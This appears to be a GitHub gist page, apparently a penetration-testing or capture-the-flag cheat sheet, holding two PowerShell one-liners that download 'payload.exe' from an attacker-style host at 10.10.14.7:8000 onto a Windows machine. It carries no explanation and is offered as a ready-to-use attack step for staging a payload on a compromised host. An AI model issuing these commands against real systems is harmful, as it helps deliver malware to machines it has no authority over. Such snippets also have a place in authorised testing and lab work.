Skip to content

Instantly share code, notes, and snippets.

@shollingsworth
Created February 9, 2022 17:03
Show Gist options
  • Save shollingsworth/5732694b25dab58918c8eaeca34bc0b5 to your computer and use it in GitHub Desktop.
Save shollingsworth/5732694b25dab58918c8eaeca34bc0b5 to your computer and use it in GitHub Desktop.
powershell download file
powershell "Invoke-WebRequest -Uri http://10.10.14.7:8000/payload.exe -OutFile payload.exe -UseBasicParsing"
powershell "(new-object System.Net.Webclient).Downloadfile('http://10.10.14.7:8000/payload.exe', 'payload.exe')"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment